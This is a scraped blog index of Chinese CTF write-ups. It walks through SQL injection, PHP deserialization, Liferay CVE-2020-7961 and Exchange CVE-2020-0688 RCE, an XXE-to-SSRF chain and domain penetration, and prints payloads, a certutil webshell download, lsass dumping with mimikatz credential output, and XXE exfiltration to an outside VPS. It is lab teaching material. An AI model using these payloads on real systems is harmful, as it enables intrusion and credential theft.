Writeup","uri":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/"},{"categories":["Writeup"],"content":"中国计量大学现代科技学院举办的CTF比赛,写一下writeup ","date":"2020-06-21","objectID":"/%E4%B8%AD%E5%9B%BD%E8%AE%A1%E9%87%8F%E5%A4%A7%E5%AD%A6%E5%A4%A7%E5%AD%A6%E7%94%9Fctf%E7%AB%9E%E8%B5%9B-writeup/:0:0","tags":["条件竞争","SQL注入"],"title":"中国计量大学大学生CTF竞赛 Writeup","uri":"/%E4%B8%AD%E5%9B%BD%E8%AE%A1%E9%87%8F%E5%A4%A7%E5%AD%A6%E5%A4%A7%E5%AD%A6%E7%94%9Fctf%E7%AB%9E%E8%B5%9B-writeup/"},{"categories":["Writeup"],"content":"easy web 原题 ?password[]即可 ","date":"2020-06-21","objectID":"/%E4%B8%AD%E5%9B%BD%E8%AE%A1%E9%87%8F%E5%A4%A7%E5%AD%A6%E5%A4%A7%E5%AD%A6%E7%94%9Fctf%E7%AB%9E%E8%B5%9B-writeup/:1:0","tags":["条件竞争","SQL注入"],"title":"中国计量大学大学生CTF竞赛 Writeup","uri":"/%E4%B8%AD%E5%9B%BD%E8%AE%A1%E9%87%8F%E5%A4%A7%E5%AD%A6%E5%A4%A7%E5%AD%A6%E7%94%9Fctf%E7%AB%9E%E8%B5%9B-writeup/"},{"categories":["Writeup"],"content":"shop 条件竞争 ","date":"2020-06-21","objectID":"/%E4%B8%AD%E5%9B%BD%E8%AE%A1%E9%87%8F%E5%A4%A7%E5%AD%A6%E5%A4%A7%E5%AD%A6%E7%94%9Fctf%E7%AB%9E%E8%B5%9B-writeup/:2:0","tags":["条件竞争","SQL注入"],"title":"中国计量大学大学生CTF竞赛 Writeup","uri":"/%E4%B8%AD%E5%9B%BD%E8%AE%A1%E9%87%8F%E5%A4%A7%E5%AD%A6%E5%A4%A7%E5%AD%A6%E7%94%9Fctf%E7%AB%9E%E8%B5%9B-writeup/"},{"categories":["Writeup"],"content":"成绩单 简单sql注入 -1'union select 1,2,database(),group_concat(schema_name) from information_schema.schemata# web1 -1'unionselect1,2,group_concat(table_name),3frominformation_schema.tableswheretable_schema='web1'#fl4g,sc-1'union select 1,2,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'# flag -1'unionselect1,2,3,flagfromweb1.fl4g#flag{Sql_INJECT0N_4813drd8hz4} ","date":"2020-06-21","objectID":"/%E4%B8%AD%E5%9B%BD%E8%AE%A1%E9%87%8F%E5%A4%A7%E5%AD%A6%E5%A4%A7%E5%AD%A6%E7%94%9Fctf%E7%AB%9E%E8%B5%9B-writeup/:3:0","tags":["条件竞争","SQL注入"],"title":"中国计量大学大学生CTF竞赛 Writeup","uri":"/%E4%B8%AD%E5%9B%BD%E8%AE%A1%E9%87%8F%E5%A4%A7%E5%AD%A6%E5%A4%A7%E5%AD%A6%E7%94%9Fctf%E7%AB%9E%E8%B5%9B-writeup/"},{"categories":["Writeup"],"content":"easy 尝试发现admin已经存在 提示二次注入才想起来upadte也就是修改密码处可能存在过滤不严 先注册为admin\"# 登陆后修改密码 一般二次注入修改密码处语句为: sql = \"UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' \"; 这样就修改了admin的密码 登陆后发现啥也没有,想到可以结合updatexml报错注入 test\"||updatexml(2,concat(0x7e,(database())),0)# easy 空格可以用()绕过 test\"||updatexml(2,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='easy')),0)#article,flag,userstest\"||updatexml(2,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')),0)# flag test\"||updatexml(2,concat(0x7e,(select(flag)from(easy.flag))),0)#flag{We11D0Ne_hOhO} ","date":"2020-06-21","objectID":"/%E4%B8%AD%E5%9B%BD%E8%AE%A1%E9%87%8F%E5%A4%A7%E5%AD%A6%E5%A4%A7%E5%AD%A6%E7%94%9Fctf%E7%AB%9E%E8%B5%9B-writeup/:4:0","tags":["条件竞争","SQL注入"],"title":"中国计量大学大学生CTF竞赛 Writeup","uri":"/%E4%B8%AD%E5%9B%BD%E8%AE%A1%E9%87%8F%E5%A4%A7%E5%AD%A6%E5%A4%A7%E5%AD%A6%E7%94%9Fctf%E7%AB%9E%E8%B5%9B-writeup/"},{"categories":["Writeup"],"content":"这个比赛赛题质量都很高,且偏向实战多一点,上来就是域渗透属实令人肾透,xxe打ssrf最后差一点做出来比较可惜 真·签到 下载下来是一个exe,打不开,拖进winhex发现: R00yVE1NWlRIRTJFRU5CWUdVM1RNUlJURzRaVEtOUllHNFpUTU9CV0lJM0RRTlJXRzQ0VE9OSlhHWTJET05aUkc1QVRPTUJUR0kyRUVNWlZHNDNUS05aWEc0MlRHTkpaR1pBVElNUldHNDNUT05KVUc0M0RPTUJXR0kyRUtOU0ZHTTRUT09CVUc0M0VFPT09Cgo= base64解码后: GM2TMMZTHE2EENBYGU3TMRRTG4ZTKNRYG4ZTMOBWII3DQNRWG44TONJXGY2DONZRG5ATOMBTGI2EEMZVG43TKNZXG42TGNJZGZATIMRWG43TONJUG43DOMBWGI2EKNSFGM4TOOBUG43EE=== 只有大写字母和数字应该是base32,解码后: 3563394B48576F37356873686B686679757647717A70324B3577577753596A426777547670624E6E3978476B 一般base32完是十六进制: 5c9KHWo75hshkhfyuvGqzp2K5wWwSYjBgwTvpbNn9xGk 由于Base58采用的字符集合为“123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ”,从这不难看出,Base58是纯数字与字母组成而且去掉了容易引起视觉混淆的字符(0:数字零,O:大写O,I:大写i,l:小写L)。9个数字+49个字母=58个。 所以猜测是base58: Dozerctf{base_family_is_so_good} 白给的反序列化 入门反序列化题 源码: \u003c?php class home { private $method; private $args; function __construct($method, $args) { $this-\u003emethod = $method; $this-\u003eargs = $args; } function __destruct() { if (in_array($this-\u003emethod, array(\"mysys\"))) { call_user_func_array(array($this, $this-\u003emethod), $this-\u003eargs); } } function mysys($path) { print_r(base64_encode(exec(\"cat $path\"))); } function waf($str) { if (strlen($str) \u003e 8) { die(\"No\"); } return $str; } function __wakeup() { $num = 0; foreach ($this-\u003eargs as $k =\u003e $v) { $this-\u003eargs[$k] = $this-\u003ewaf(trim($v)); $num += 1; if ($num \u003e 2) { die(\"No\"); } } } } if ($_GET['path']) { $path = @$_GET['path']; unserialize($path); } else { highlight_file(__FILE__); } ?\u003e poc: \u003c?php //poc class home { private $method; private $args; function __construct($method, $args) { $this-\u003emethod = $method; $this-\u003eargs = $args; } function __destruct() { if (in_array($this-\u003emethod, array(\"mysys\"))) { call_user_func_array(array($this, $this-\u003emethod), $this-\u003eargs); } } function mysys($path) { print_r(base64_encode(exec(\"cat $path\"))); } function waf($str) { if (strlen($str) \u003e 8) { die(\"No\"); } return $str; } function __wakeup() { $num = 0; foreach ($this-\u003eargs as $k =\u003e $v) { $this-\u003eargs[$k] = $this-\u003ewaf(trim($v)); $num += 1; if ($num \u003e 2) { die(\"No\"); } } } } $poc = new home(\"mysys\",array(\"flag.php\")); $a = urlencode(serialize($poc)); print_r($a); serialize($a); ?\u003e payload: ?path=O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A5%3A%22mysys%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22flag.php%22%3B%7D%7D 得到:PD9waHAgJGZsYWcgPSAnZmxhZ3tqNG5jOTIwZm04YjJ6MHIybWM3ZHNmODdzNjc4NWE2NzVzYTc3NnZkfSc7Pz4= base64:\u003c?php $flag = 'flag{j4nc920fm8b2z0r2mc7dsf87s6785a675sa776vd}';?\u003e sqli-labs 0 根据hint将接下来sql注入的语句全部用url二次编码就行 id=1' # 单引号注入,select被过滤,根据经验直接堆叠 1';show databases;# 1';show tables;# 1';show columns from uziuzi;# 1';handler uziuzi open;handler uziuzi read first;# 回显得到flagflag{594cb6af684ad354b4a59ac496473990} 简单域渗透-flag1 ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:0:0","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"利用CVE-2020-7961命令执行 参考:Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961) CVE-2020-7961 Liferay Portal 反序列化RCE分析 ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:1:0","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"漏洞说明 这题入门漏洞很容易找到,而且网上复现的文章挺多 该洞是个反序列化导致的rce,通过未授权访问其api传递json数据进行反序列化达到加载外部恶意class进而命令执行 ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:1:1","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"影响范围 Liferay Portal 6.1.X Liferay Portal 6.2.X Liferay Portal 7.0.X Liferay Portal 7.1.X Liferay Portal 7.2.X ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:1:2","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"环境搭建 下载带tomcat的集成版,进入到liferay-ce-portal-7.2.0-ga1\\tomcat-9.0.17\\bin目录,执行:.\\catalina.bat run等待一会就启动了,访问8080端口即可 ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:1:3","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"漏洞复现 LifExp.java文件: public class LifExp { static { try { String[] cmd = {\"cmd.exe\", \"/c\", \"calc.exe\"}; java.lang.Runtime.getRuntime(). exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } } 将LifExp.java放在vps上,因为需要靶机能访问到,使用javac LifExp.java生成LifExp.class 要构造payload还需要一个包:marshalsec-0.0.3-SNAPSHOT-all.jar 我放到蓝奏云上了,有需要自行下载 使用java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://ip:port/ LifExp生成序列化内容(这里的ip是你提供恶意class的vps) 在vps上使用python3 -m http.server 8500在当前目录启动端口8500的web服务 用bp发包: POST /api/jsonws/invoke HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 1349 Content-Type: application/x-www-form-urlencoded Connection: close cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D\u0026p_auth=o3lt8q1F\u0026formDate=1585270368703\u0026tableId=1\u0026name=2\u0026type=3\u0026defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource={\"userOverridesAsString\":\"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740019687474703a2f2f35392e3131302e3135372e343a383530302f740003466f6f;\"} 将WrapperConnectionPoolDataSource=后面的内容换成marshalsec生成的序列化内容 成功弹出计算器,(计算器也很无奈) ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:1:4","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"利用certutil进行远程下载webshell certutil和bitsadmin都可以进行远程http请求,本地用: certutil.exe -urlcache -split -f \"http://ip:8500/leon.txt“ leon.txt bitsadmin /rawreturn /transfer down 'http://ip:8500/leon.txt' D:\\leon.txt 都可以成功远程下载文件 在LifExp.java中需要构造一下: String[] cmd = {\"cmd.exe\", \"/c\", \"certutil.exe -urlcache -split -f\", \"http://ip:8500/cmdcmd.jsp\", \"..\\\\webapps\\\\ROOT\\\\cmdcmd.jsp\"}; cmdcmd.jsp是webshell,经过本地测试执行命令的当前路径在liferay-ce-portal-7.2.0-ga1\\tomcat-9.0.17\\bin 所以需要目录穿越到index.jsp的文件夹,(这里智障了,以为java不能直接访问到没有进行目录映射的jsp,就一直没写文件到这个目录) 然后一样的步骤,生成class文件,post包发过去,就成功在index.jsp目录写入了webshell,蚁剑直接连接即可(有些webshell蚁剑不能连) flag在桌面C:/Users/root/Desktop/flag.txt Dozerctf{a993e8ce377e05b2cbfa460e43e43757} 方便后续操作可以写个jsp反弹shell 简单域渗透-flag2 ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:2:0","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"先进行简单信息收集,列出域信任关系: nltest /domain_trusts 环境为单域,查看ip信息,一般dns服务器就是dc: ipconfig /all: C:\\Users\\root\u003eipconfig /all Windows IP ���� ������ . . . . . . . . . . . . . : Dozer-dmz01 �� DNS �� . . . . . . . . . . . : dozer.org �ڵ����� . . . . . . . . . . . . : ��� IP ·�������� . . . . . . . . . . : �� WINS ���������� . . . . . . . . . : �� DNS �������б� . . . . . . . . : dozer.org ��̫�������� Ethernet0: �����ض��� DNS �� . . . . . . . : ����. . . . . . . . . . . . . . . : Intel(R) 82574L ǧ���������� �����ַ. . . . . . . . . . . . . : 00-0C-29-20-FC-D5 DHCP ������ . . . . . . . . . . . : �� �Զ�����������. . . . . . . . . . : �� �������� IPv6 ��ַ. . . . . . . . : fe80::956d:4a99:42e5:44e6%12(��ѡ) IPv4 ��ַ . . . . . . . . . . . . : 10.10.10.2(��ѡ) �������� . . . . . . . . . . . . : 255.255.255.0 Ĭ������. . . . . . . . . . . . . : DHCPv6 IAID . . . . . . . . . . . : 251661353 DHCPv6 �ͻ��� DUID . . . . . . . : 00-01-00-01-26-49-C3-BF-00-0C-29-20-FC-D5 DNS ������ . . . . . . . . . . . : 10.10.10.3 TCPIP �ϵ� NetBIOS . . . . . . . : ������ ��̫�������� Ethernet1: �����ض��� DNS �� . . . . . . . : ����. . . . . . . . . . . . . . . : Intel(R) 82574L ǧ���������� #2 �����ַ. . . . . . . . . . . . . : 00-0C-29-20-FC-DF DHCP ������ . . . . . . . . . . . : �� �Զ�����������. . . . . . . . . . : �� �������� IPv6 ��ַ. . . . . . . . : fe80::d543:1779:2299:609%15(��ѡ) IPv4 ��ַ . . . . . . . . . . . . : 192.168.150.73(��ѡ) �������� . . . . . . . . . . . . : 255.255.255.0 �����Լ��ʱ�� . . . . . . . . . : 2020��6��14�� 23:42:47 ��Լ���ڵ�ʱ�� . . . . . . . . . : 2020��6��17�� 23:42:54 Ĭ������. . . . . . . . . . . . . : 192.168.150.200 DHCP ������ . . . . . . . . . . . : 192.168.150.200 DHCPv6 IAID . . . . . . . . . . . : 352324649 DHCPv6 �ͻ��� DUID . . . . . . . : 00-01-00-01-26-49-C3-BF-00-0C-29-20-FC-D5 DNS ������ . . . . . . . . . . . : 192.168.150.200 TCPIP �ϵ� NetBIOS . . . . . . . : ������ ��������� isatap.{CFE9BA1B-E288-4FFB-9749-199C2D5515CE}: ý��״̬ . . . . . . . . . . . . : ý���ѶϿ� �����ض��� DNS �� . . . . . . . : ����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2 �����ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0 DHCP ������ . . . . . . . . . . . : �� �Զ�����������. . . . . . . . . . : �� ��������� isatap.{2D498A64-8D75-4BA5-964D-611E32EF20B3}: �����ض��� DNS �� . . . . . . . : ����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #4 �����ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0 DHCP ������ . . . . . . . . . . . : �� �Զ�����������. . . . . . . . . . : �� �������� IPv6 ��ַ. . . . . . . . : fe80::5efe:192.168.150.73%17(��ѡ) Ĭ������. . . . . . . . . . . . . : DNS ������ . . . . . . . . . . . : 192.168.150.200 TCPIP �ϵ� NetBIOS . . . . . . . : �ѽ��� 可以看到几个两个网段,根据经验,一个192.168.150.x应该是宿主机所在ip段,不用管,所以另外的10.10.10.x段应该是虚拟机内部网段 10.10.10.2是本机,所以一般DNS服务器10.10.10.3就是DC ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:3:0","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"获取本机hash 先下载mimikatz reg save hklm\\sam sam reg save hklm\\system system 然后下载到本地使用mimikatz: 得到root也就是当前用户密码:P@ssw0rd 直接尝试netstat -na发现3389端口开启,尝试用root用户登录 首先得进行内网代理,使用reGeorg即可 登录成功: ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:4:0","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"转储内存抓域凭证: 根据提示使用使用微软官方procdump.exe dump内存: 直接使用certutil.exe -urlcache -split -f \"http://ip:8500/procdump64.exe“ procdump64.exe即可 然后procdump64.exe -accepteula -ma lsass.exe lsass.dmp 然后执行: mimikatz # sekurlsa::minidump lsass.dmp Switch to MINIDUMP : 'lsass.dmp' mimikatz # sekurlsa::logonPasswords full Opening : 'lsass.dmp' file for minidump... Authentication Id : 0 ; 78250732 (00000000:04aa02ec) Session : RemoteInteractive from 5 User Name : root Domain : DOZER-DMZ01 Logon Server : DOZER-DMZ01 Logon Time : 2020/6/16 12:47:35 SID : S-1-5-21-1495210691-4001662545-2502461571-1001 msv : [00000003] Primary * Username : root * Domain : DOZER-DMZ01 * LM : 921988ba001dc8e14a3b108f3fa6cb6d * NTLM : e19ccf75ee54e06b06a5907af13cef42 * SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63 tspkg : * Username : root * Domain : DOZER-DMZ01 * Password : P@ssw0rd wdigest : * Username : root * Domain : DOZER-DMZ01 * Password : P@ssw0rd kerberos : * Username : root * Domain : DOZER-DMZ01 * Password : P@ssw0rd ssp : credman : [00000000] * Username : dozer\\shark * Domain : dozer-dc.dozer.org * Password : P@ssword Authentication Id : 0 ; 78236002 (00000000:04a9c962) Session : Interactive from 5 User Name : DWM-5 Domain : Window Manager Logon Server : (null) Logon Time : 2020/6/16 12:47:32 SID : S-1-5-90-5 msv : [00000003] Primary * Username : DOZER-DMZ01$ * Domain : DOZER * NTLM : 0aede09a6722cd9c04eb892f5af27068 * SHA1 : e668a6f212e2c5c8780685436732bb3d64a4e7f0 tspkg : * Username : DOZER-DMZ01$ * Domain : DOZER * Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=\u003e#)+OQ-wzUsk.;ciPQVa!Gtv\"]oCNt\"dJba\u003cL6D2VT.\\e8bhFd^O@O$+i wdigest : * Username : DOZER-DMZ01$ * Domain : DOZER * Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=\u003e#)+OQ-wzUsk.;ciPQVa!Gtv\"]oCNt\"dJba\u003cL6D2VT.\\e8bhFd^O@O$+i kerberos : * Username : DOZER-DMZ01$ * Domain : dozer.org * Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=\u003e#)+OQ-wzUsk.;ciPQVa!Gtv\"]oCNt\"dJba\u003cL6D2VT.\\e8bhFd^O@O$+i ssp : credman : Authentication Id : 0 ; 77940254 (00000000:04a5461e) Session : Interactive from 0 User Name : shark Domain : DOZER Logon Server : DOZER-DC Logon Time : 2020/6/16 12:45:28 SID : S-1-5-21-341825-3789073605-4250195040-1109 msv : [00000003] Primary * Username : shark * Domain : DOZER * LM : 921988ba001dc8e14a3b108f3fa6cb6d * NTLM : e19ccf75ee54e06b06a5907af13cef42 * SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63 tspkg : * Username : shark * Domain : DOZER * Password : P@ssw0rd wdigest : * Username : shark * Domain : DOZER * Password : P@ssw0rd kerberos : * Username : shark * Domain : DOZER.ORG * Password : P@ssw0rd ssp : credman : 发现shark用户的密码也是P@ssw0rd (其实可以直接操作这步拿root密码) ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:5:0","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"使用dsquery导出域信息 dsquery * /s 10.10.10.3 /u shark /p P@ssw0rd -attr * -limit 0 \u003e leon.txt 得到:leon 根据提示搜索找到flag2:Dozerctf{3fed7db7fee7a1771b58d309bf9ca851} 简单域渗透-flag3 根据提示和拿到的域信息,找到EXCHANGE SERVERS组: cn: DOZER-EXCHANGE distinguishedName: CN=DOZER-EXCHANGE,CN=Computers,DC=dozer,DC=org instanceType: 4 whenCreated: 05/13/2020 15:06:52 whenChanged: 06/13/2020 09:49:14 displayName: DOZER-EXCHANGE$ uSNCreated: 16419 memberOf: CN=Exchange Install Domain Servers,CN=Microsoft Exchange System Objects,DC=dozer,DC=org memberOf: CN=Managed Availability Servers,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org memberOf: CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org memberOf: CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org uSNChanged: 71171 name: DOZER-EXCHANGE objectGUID: {E650C9C8-43EC-4B65-BD74-657ECD951421} userAccountControl: 4096 得知提供EXCHANGE邮箱服务的机器名为DOZER-EXCHANGE 可以使用ping或者nslookup机器名得到ip: 所以定位到10.10.10.4 使用用户名dozer\\shark,密码P@ssw0rd登录,拿到flag3: Dozerctf{9b35c916c37b00f3359d49b6c9c99667} 简单域渗透-flag4 根据EXCHANGE的漏洞,搜索找到CVE-2020-0688 参考:CVE-2020-0688 exchange远程代码执行漏洞复现 ExchangeServer漏洞CVE-2020-0688复现 ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:6:0","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"简单复现 我们需要四个参数: –validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因) –validationalg = SHA1(默认,漏洞产生原因) –generator=B97B4E27(基本默认) –viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致) 前两个值都是默认的,我们只需要找到后两个值即可 ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:7:0","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"获取viewstateuserkey 登录后访问 /ecp/default.aspx,F12打开开发者工具栏,打开Network: viewstateuserkey位于:default.aspx–\u003eHeaders–\u003eASP.NET_SessionId中: 重新发送请求即可找到: ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:7:1","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"获取generator值 源码搜索__VIEWSTATEGENERATOR获取字段值:(这个值基本上也是相同的) 使用ysoserial.exe生成序列化payload: ysoserial.exe -p ViewState -g TextFormattingRunProperties -c \"cmd.exe /c certutil.exe -urlcache -split -f http://ip/test.exe\" --validationalg=\"SHA1\" --validationkey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\" --generator=\"B97B4E27\" --viewstateuserkey=\"247061cc-fb54-4d4e-bb66-233ffc8e3848\" --isdebug -islegacy ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:7:2","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Writeup"],"content":"获得shell 这里写一个msf马,因为这台机器没有杀软 payload: https://ip/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27\u0026__VIEWSTAT E=\u003cViewState\u003e 将\u003cViewState\u003e替换为ysoserial.exe生成的序列化内容并进行url编码: 即图中红框位置 访问获得shell,flag在桌面:Dozerctf{1193173239563ee49664b5e500f687ba} 简单域渗透-flag5 环境没了,等源码复现 svgggggg! 这题是一个盲打XXE打SSRF,关于SVG图片的漏洞可以参考: Anatomy of Scalable Vector Graphics (SVG) Attack Surface on the Web SVG,代表可扩展矢量图形是一种基于 XML 的矢量图像格式,用于二维图形,支持交互性和动画。SVG 图像及其行为在 XML 文本文件中定义。可以使用任何文本编辑器以及绘图软件创建和编辑它们。所有主要的现代 Web 浏览器都有 SVG 渲染支持。 简单测试了一下发现没有回显,需要外带信息 在vps上构造恶意svg和xml: xxx.svg: \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e \u003c!DOCTYPE note [ \u003c!ENTITY % int SYSTEM \"http://ip:8500/a.xml\"\u003e %int; %all; %send; ]\u003e \u003csvg height=\"100\" width=\"1000\"\u003e \u003ctext x=\"10\" y=\"20\"\u003e\u0026send;\u003c/text\u003e \u003c/svg\u003e a.xml: \u003c!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource=/home/r1ck/.bash_history\"\u003e \u003c!ENTITY % all \"\u003c!ENTITY % send SYSTEM 'http://ip:8500/?%file;'\u003e\"\u003e 根据提示拿到用户r1ck的操作记录: cd /app php -S 0.0.0.0:8080 可以看到在8080端口有web服务,由于靶机是内网穿透出来的,所以我们不能直接访问到8080端口,只能利用xxe打ssrf \u003c!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/\"\u003e \u003c!ENTITY % all \"\u003c!ENTITY % send SYSTEM 'http://59.110.157.4:8500/?%file;'\u003e\"\u003e 得到: \u003c!doctype html\u003e \u003chtml\u003e \u003chead\u003e \u003cmeta charset=\"UTF-8\"\u003e \u003ctitle\u003eindex\u003c/title\u003e \u003c/head\u003e Hi! You Find Me . Flag is nearby. \u003cbody\u003e \u003c/body\u003e \u003c/html\u003e Array ( [id] =\u003e 1 [name] =\u003e test ) 发现是个sql注入,尝试注入发现列数为2,然后根据提示写shell 要进行url编码 \u003c!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/?id=1%27%20union%20select%201,%27%3c?php%20system($%5fGET%5bcmd%5d)%3b?%3e%27%20into%20outfile%27/app/leon.php%27%23\"\u003e \u003c!ENTITY % all \"\u003c!ENTITY % send SYSTEM 'http://ip:8500/?%file;'\u003e\"\u003e shell语句部分也可以进行hex编码: \u003c!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/?id=1%27%20union%20select%201,0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e%20into%20outfile%27/app/leon.php%27%23\"\u003e \u003c!ENTITY % all \"\u003c!ENTITY % send SYSTEM 'http://ip:8500/?%file;'\u003e\"\u003e 写进去后直接利用即可: \u003c!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/leon.php?cmd=ls\"\u003e \u003c!ENTITY % all \"\u003c!ENTITY % send SYSTEM 'http://ip:8500/?%file;'\u003e\"\u003e 看到flag文件直接cat拿到flag ","date":"2020-06-15","objectID":"/dozerctf2020-writeup/:7:3","tags":["域渗透","SSRF","XXE","RCE","SQL注入"],"title":"DozerCTF2020 Writeup","uri":"/dozerctf2020-writeup/"},{"categories":["Notes"],"content":"简单写写PHP中利用create_function()进行rce的方式 ","date":"2020-06-04","objectID":"/php-create_function/:0:0","tags":["RCE"],"title":"PHP Create_function()","uri":"/php-create_function/"},{"categories":["Notes"],"content":"create_function()简介 适用范围:PHP 4\u003e = 4.0.1,PHP 5,PHP 7 功能:根据传递的参数创建匿名函数,并为其返回唯一名称。 语法: create_function(string $args,string $code) string $args #声明的函数变量部分 string $code #执行的方法代码部分 官方案例:参考:https://www.php.net/create_function \u003c?php $newfunc = create_function('$a,$b', 'return \"ln($a) + ln($b) = \" . log($a * $b);'); echo \"New anonymous function: $newfunc\\n\"; echo $newfunc(2, M_E) . \"\\n\"; // outputs // New anonymous function: lambda_1 // ln(2) + ln(2.718281828459) = 1.6931471805599 ?\u003e 这个函数用于创建一个匿名函数并调用,在其内部会执行 eval() 因此,上述匿名函数的创建与执行过程等价于: \u003c?php function lambda_1($a,$b){ return \"ln($a) + ln($b) = \" . log($a * $b); } ?\u003e 